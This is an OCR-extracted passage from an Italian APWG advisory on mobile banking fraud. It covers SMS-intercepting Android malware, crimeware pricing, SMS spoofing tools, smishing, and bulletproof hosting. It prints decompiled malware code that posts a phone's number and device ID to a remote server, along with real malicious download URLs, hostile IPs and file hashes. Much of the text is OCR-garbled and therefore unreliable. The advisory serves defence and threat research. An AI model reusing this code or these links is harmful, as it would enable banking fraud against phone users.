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JABTOpH3A UNA MOGHABHOID

Baw N HH;noA aKTUBALMK

YBawaeMbie KNHEHTbI!

“TOGHI BOWTH B CHCTEMY, HEOBXOOMMO YCTAHOBKTS NPOrpaMMy SberSafe Ha Baw MOGHIbHBIA TenedoK. LA NONYUYEHMA CCBUIG Ha NPOrPaMMY Bbl MOXETE BOCIO/LI0BATLCA CKAHHEPOM QR-x0a08,
YCTAHOBNEHHLM 13 BaLLEM TENEOHE WM CTTIPABHTL CCLIKY Ha CBOH MOGHIHLE! TENE(HOoH.

Yrobibl OTNPaBMTE CObUTKY HA NporpamMMy B CMC cooGuweri, BEEAHTE CBOM HOMEP M HAXMWTE KHONKY "OK"
+7 —

(npumep 9031234567)

MonoanTe, MAET 3arpyaka CTPAHMLb...

C6epb6aHK OHJI@HH —

IpocTo, 6KICTpO, 6e30r1acHO!

Figura 22: Quando era attivo Berstaska.com

Object localCbjectd = (TelephonyManager)getipplicationContext () .getSystemService ("phone™)
lwv.putline {("send RZuth Request to:™ + paramStringl):
DefaultHttpllient localDefaultHttpllient = new DefaultHttplClient():
Object localCbjectl = new HttpPost{paramStringl);:
Object localObjectd = "»1|"™ + auFhone.getNumber() + "|" + paramString2 + "|" + "android”™ + "|" + "Deviceld=" +
String str3;
try
{
localObject? = new Arraylist(2);
{{List)localObject?) .add (new BasicNameValueFair("a", (5tring)locallbject3));
{ (HttpPost) locallbjectl) .setEntity (new UrlEncodedFormEntity ({List)locallbject2, "UIF-&"))r
locallbject3d = localDefaultHttpllient.execute ( (HttpUriRequest)localObjectl) . .getEntity () .getlontent():
localObject2 = new byte[256];
locallbjectl new StringBuffer():

Figura 23: Snapshot del codice Malware

Il malware imposta la funzione per la spedizione e la ricezione di messaggi SMS
usando il seguente gestore degli eventi:

ESATSLETHECETASE (T2 BE 2H295TTASLEQ' TOCSTIULEULETTLEX' UATT' DOTT):
JOCYTIULSULETTESE = UD6A JUCGUCETTCOSL (.2HZ DETIAEEED.):

Figura 24: Gestore degli eventi Malware

I messaggi ricevuti sono processati e memorizzati in formato appropriato in un file
chiamato “messages.txt” e puo essere spedito sul server remoto sopra menzionato.
Le azioni di ricerca sono loggate in un file chiamato “alarms.txt”.

Intercettare gli SMS usati nel processo di autenticazione € un utile strumento nelle
mani dei criminali informatici che sono intenzionati a commettere frodi bancarie. Le
banche e le istituzioni bancarie in molte nazioni, incluse USA e Canada, usano il
token One Time Password spedito via SMS come parte del processo di mobile
banking. Ovviamente un attacker che intercetta questi SMS puo completare
trasazioni fraudolente.

21
An APWG Industry Advisory
http://www.apwg.org e mobile@apwg.org
PMB 246, 405 Waltham Street, Lexington MA USA 02421




White Paper: Supplemento a Frodi con Dispositivi Mobili — Maggio 2013

Crimeware dei dispositive mobili ed il mercato dei servizi illeciti

Un altro nuovo malware mobile che si focalizza sulle frodi bancarie ¢ chiamato
‘Perkele Lite’. Il file configurato costa $7 000. Costa $12 000 il file preparato e piazzato
sul sito web di Google Play.

‘Perkele Lite” & prodotto con la propria interfaccia C&C cosi come un’esclusiva
funzione che fa in modo che I'applicazione appaia cosi come quella legittima della
banca.

sarpyaxn

MK w’&jg Q‘ Afg%kg;g;ﬂ E"g;‘ .j":,“

HckaTs B 3TOM pasgene ¥

8A aAMWH NaHens AnNA ynpaeneHna SotaMu

Universal kit
Price: 7000 wmz

Universal kit + Play.Google.com + Site
Price: 12 000 wmz

MpunoxeHwe nof KoHKpeTHsd Bank 700 wmz

Il malware ‘Perkele Lite’ ha versioni per le piu popolari banche in UK, Australia e
USA.

3) SMS Spam/Spoofing

I criminali informatici usano server dedicati o Virtual Private Servers (VPS) per

ottenere il massimo vantaggio quando inviano spam ad un numero elevato di
numeri mobili. Altri tool come la randomizzazione del testo, gli URL shortening
engines e timeout forniscono opzioni addizionali per gli spammers.
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WropMaws: -
Beero coobweHwid ana cnama: 0

Brero HOMEpOE TENEhOHOE:
Beero Homepos ICQ:
OtnpasnexHo CMC:

]
/]
0
Beero owMboK: 0

SafeMKKa MEXAY OTNPABKOMA cMC:
2000

7] PanpomMusmposaTs TexoT

YKOPOTHTE CCBIMKY: —
http:/f

- PesyneTaT:

-

Balum cooblyeHHa: 3arpys|Te

l YKOPOTHTh CCRIAKY

Cron

Figura 25: 11 tool di SMS di klychev con I’opzione per la randomizzazione del testo

{ MUSenderSMS v1.0

MUSenderSMS v1.0 by TeelXp

Figura 26: Un famoso tool per SMS spamming, utilizza le funzioni Agent di Mail.ru per la
spedizione degli SMS

Alcuni dei tool privati sono scritti per la Clickatell API® ed il suo gateway al fine di
generare tecniche di SMS spoofing che i criminali informatici usano per perpetrare le
frodi.

I servizi di SMS spam usano API per eseguire lo spoof dei numeri dei cellulari. Puo
essere usato qualsiasi numero casuale.

8 http://www.clickatell.com/clickatell-products/online-products/sms-gateway-developers-central/?cid=37767
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|[RR sms24x7.ru/ -
Apple iCloud Fm_xhonk_ Twitter Wikipedia fAunexc Yahoo! Hosoctu ™ MonynspHpie ¥ P
=

Hu)xe pa3o6paH npumep ucnoJik
SMs24x7, KOTOPYI0O MOXKHO CKa4g
oHa 6yaeT coxpaHeHa B TOW Xe J

<|--?php</code-->
<code>require_once "sms24x7.php";

$email = "user@example.com";

$password = "KXKKKKXKKKKKKKKKXKK";

$phone = "Ixxx¥YYYyyzz";

$phones = array("7TxxxYYY¥yyzz", "TuuuWWWllkk");

$dlr url = "http://example.com/test.php?state=%d&amp;phone=%p";

$dlr_mask = 35;

Figura 27: Spoofing del numero cellulare attraverso una API dedicata

Le vulnerabilita degli OS facilitano le possibilita di compromettere il dispositivo
mobile ed incrementano le opportunita per lo spoofing SMS.
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Figura 28: Esempio di attacco ‘smishing’ facilitata dalle funzioni interne di un dispositivo
mobile compromesso

Una vulnerabilita ‘smishing’ conosciuta e stata testata per alcuni smartphone
Android: Google Galaxy Nexus, Google Nexus S, Samsung Galaxy SIII, HTC One X,
HTC Inspire e Xiaomi MI-One. E' stato scoperto che la funzione interna SEND_SMS
puo essere modificata per eseguire attacchi ‘smishing’.

¢ Smishing Vulnerability in Multiple Android Platforms (including Gingerbread, Ice Cream
Sandwich, and Jelly Bean) - http://www.csc.ncsu.edu/faculty/jiang/smishing.html
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HTC Motorola Samsung Google
Permission Legend EVO 4G | Wildfire S Droid Droid X Epic 4G Nexus One | Nexus S
E |1 ‘ E |1 ‘ E [ 1 E |1 E |1 E |1 E | 1 E |1
ACCESS COARSE LOCATION v v -f Vv . Vv . . -f
ACCESS FINE_LOCATION v E v - - v - - v E - -
CALL PHONE . . : . . . . . : e | v
CALL PRIVILEGED - E - - - /1 - -
CAMERA v . v . v . . . . . . . . . .
DELETE PACKAGES || v2 | . | /7 e P B G | RV Ve . 72
INSTALL_PACKAGES . . . . . . . . . . . . . .
MASTER CLEAR . . . . . . . . . . ' .
READ_PHONE._STATE - v - v - v - - v E - v
REBOOT . . v . . . . . . . . .
RECORD-AUDIO v ' v E
SEND.SMS v v v .
SHUTDOWN . . ' .
Total 6 2 8 2 4 4 1 0 4 0 3 2 1 0 1 0

Figura 29: Risultati del Capability leak per otto diversi smartphone basati su Android -
SEND_SMS™

4) Intrusion di dispositivi mobili

Le vulnerabilita della geo-localizzazione degli smartphone consentono ai criminali
informatici individuare come obiettivi posti affollati, come i centri commerciali, i
parchi, i business centers ed altri. Usando apparati bluetooth modificati e Near Field
Communication (NFC) per effettuare il “pair” con gli smartphone in prossimita, I
criminali possono distribuire malware o eseguire comandi AT (attention) sugli
smartphone di utenti inconsapevoli. Alcuni sono utilizzati per spedire SMS a numeri
a pagamento o per portare a segno attacchi “smishing”.

Un metodo prevede di piazzare apparati bluetooth dedicati ed un’antenna in un
veicolo parcheggiato nell'area. Una volta effettuato il “pairing” con un dispositivo
targhettizzato, lo smartphone e controllato da remoto attraverso un modem 4G e I'IP
esterno attraverso un software proprietario come “TeamViewer”.

pram— Terccons | vmsncmoc g
b 1w [

10 Systematic Detection of Capability Leaks in Stock Android Smartphones
(http://www.cs.ncsu.edu/faculty/jiang/pubs/NDSS12_WOODPECKER.pdf)
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Figura 30: I criminali informatici usano un dispositivo bluetooth e un’antenna per effettuare
il pairing con gli smartphone nei luoghi affollati

Ci sono molti penetration tool utilizzati per diffondere malware e per violare da
remoto i dispositivi mobili. Gli hacker usano dispositivi come il Nokia N800 con
Linux Maemo o linux binary compatibility o Nexus 7 con Google Android.

Figura 31: Pwn Pad — un esempio di penetration tablet commerciale’!

Alcuni apparati sono stati costruiti specificatamente per gli hacker, per esempio il
“PwnPad”.

Vulnerabilita note sono sfruttate da tool basati sui seguenti vettori di attacco:

e OBEX (Object Exchange) attraverso il bluetooth nello stesso “ambiente”

wireless;

e Rogue AP & Evil Twin per reti Wi-Fi IEEE 802.11 (Rogue DHCP, DNS
spoofing).

Un mezzo molto utilizzato per distribuire malware ¢ la “guest network” o le
applicazioni pubbliche. Apparati che lavorano autonomamente, per esempio i droni
Kismet'?, 0 i moderni AP possono essere programmati per l'intercettazione wireless e
lo spoofing.

1 http://pwnieexpress.com/collections/pwn-pad/products/pwnpad
12 http://www.dd-wrt.com/wiki/index.php/Kismet_Server/Drone
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Figura 32: Sniffing in azione

Applicazioni di geo-location e geo-coding false per smartphone facilitano le attivita
di spionaggio, rivelazione ed intrusione nella vita degli utenti. Quando si utilizzano
questi servizi e possibile ottenere la localizzazione degli smartphone semplicemente
spedendo SMS al dispositivo mobile.

No | Filename Data, bytes | Hash, md5

1 | android_update_40842.apk 68 171 D9F0A7BB2A7E2ASEEAA25147D107EBFD
2 | android_update_40842_2.apk | 103 671 1177F1D0A86BODD1DB9C5695B447C797

3 | android_update_40842_3.apk | 102 550 18A8DDB1E628D0A1373BE7CA866752AD
4 | android_update_40842_4.apk | 101 818 94751366328D6C59F50F016066D47825

5 | browser_update.apk 73767 93E0376B5A ABSESD57 ABFF04EB7D24B0
6 | critical_update.apk 107 770 F40FEBAB1DEBSEE7A4F0C3C09B369355

7 | skype.apk 120 353 758FDBEF4087835B257504C9601B4C76

Smishing e Phishing

Gli SMS di “Scam” forniscono uno strumento ai criminali informatici per compiere
frodi. La varieta di SMS Scam e ampia, innovativa ed introduce sempre nuovi
approcci atti a far apparire il testo credibile all'utente.

L'enorme quantita di fornitori di SMS facilita le attivita fraudolente.
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Easy SMS Mailing: Accueil

www.easysmsmailing.com/ - MepesecTi aTy cTpaHuUy

Easy SMS Mailing interface de gestion de campagnes sms développée par Bewoopi.
Envoi de sms individuel ou en masse.

Home | Easy SMS Mailing

www.easysmsmailing.com/en - NepesecTk 3Ty cTpaHWLY

Easy SMS Mailing is a web-based interface that allows you to manage your SMS
campaign. Send cne or many texts at once.

SMS Direct: Direct Mailing Service

www.smsdirect.com/ - NepeBecTy aTy CTpaHUUy
We have spent years developing a suite of outstanding programming tools and easy to
read reports to meet every possible direct mail need. Our outstanding ...

Mass sending of SMS via Internet - OVH

www.ovh.co.uk/sms.../sms_ma... - NepepecTty aTy cTpaHuLy
Included. With your SMS pack. Mass mailing from your Manager. Write your message.
Your message can contain up to 1600 characters (equivalent to 10 SMS).

SMSMail.com — email to SMS- Send SMS by Email -

www.smsmail.com/ - MNepeBecTu aTy cTpaHuLy
SMSmail.com Send SMS by email Worldwide From any email address. No software
needed with email to SMS and with your own Sender ID. Free SMS with ...

Figura 33: Chi froda puo scegliere tra un ampia gamma di fornitori di SMS

I criminali informatici possono anche scegliere tra una vasta gamma di servizi di
trasporto SMS-ICQ che offrono software che puo essere utilizzato per supportare
attacchi “smishing” anonimi.

"Ciao, troverai le tue foto qui wap.bOolt6jwxfq3.pz9l.ru/, scarica e dopo chiamami,
non dirlo a nessuno per favore!"

Il link porta a: http://updateqp.com/, seguito da un download a questo malware
attraverso il link: http://filevk.com/l/bu/browser_update/u/7643/Browser_Update.jar.

Il download avra successo solo sui seguenti dispositivi: "Mozilla/5.0 (SymbianOS/9.4;
U; Series60/5.0 Nokia5800d-1/21.0.025; Profile/MIDP-2.1 Configuration/CLDC-1.1 )
AppleWebKit/413 (KHTML, like Gecko) Safari/413".

Fornitori di servizi di hosting “a prova di proiettile”

L'infrastruttura che supporta i servizi online e la stessa per tutti gli apparati che siano
PC, portatili o cellulari. Quindi, il principio che “tutto e ospitato da qualche parte” si
applica alla nostra casistica. Allo stesso modo, “gli hosting provider a prova di
proiettile” (dal termine tecnico inglese, “bulletproof hosting”, NdR) esistono per i
servizi dei dispositivi mobili allo stesso modo delle altre attivita di crimine
informatico. In alcuni casi il fornitore di servizi potrebbe coincidere.

Nella sezione 4 sullo Smishing abbiamo analizzato gli attacchi smishing che
conducevano a link per il download. Ora analizziamo nel dettaglio i domini ed i
fornitori di servizi che sono dietro l'attacco.
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Entrambi i domini responsabili del download erano delegati allo stesso IP di un
bulletproof hosting provider:

$ host Filevk.com filevk.com has address 91.202.63.148

$ host updateqp.com updateqp.com has address 91.202.63.148

Virgin Islands, British Road Town Akrino Inc

inetnum:91.202.60.0-91.202.63.255

netname :AKRINO-NET

descr:Akrino Inc

country:VG

org:ORG-AI38-RIPE

admin-c: 1IVM27-RIPE

tech-c: 1IVM27-RIPE

status:ASSIGNED Pl

mnt-by:RIPE-NCC-END-MNT

mnt-by :MNT-AKRINO

mnt-lower:RIPE-NCC-END-MNT

mnt-routes:MNT-AKRINO

mnt-domains:MNT-AKRINO

source:RIPE # Filtered

organisation:ORG-AI138-RIPE
org-name:Akrino Inc

org-type:OTHER

address:Akrino Inc.

address:P.0.Box 146 Trident Chambers
address:Road Town, Tortola
address:BVI

mnt-ref:MNT-AKRINO

mnt-by:MNT-AKRINO

source:RIPE # Filtered

person:lgoren V Murzak
address:Akrino Inc

address:P.0.Box 146 Trident Chambers
address:Road Town, Tortola
address:BVI

phone:+1 914 5952753
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nic-hdl: 1VM27-RIPE
mnt-by :MNT-AKRINO
source:RIPE # Filtered

route:91.202.63.0/24
descr:AKRINO BLOCK #4
origin:AS44571

mnt-by :MNT-AKRINO
source:RIPE # Filtered

Piu di 421 siti web mobile fraudolenti usano questo indirizzo. (esempi: 39mobi.com,
42mobi.com, 56file.com, 72mobi.com).

I dettagli del sito WAP:

$ host wap.bOolt6jwxfq3.pz9l.ru wap.-bOolt6jwxfq3.pz9l.ru has
address 192.34.59.25 (United States New York City Digital
Ocean Inc.).
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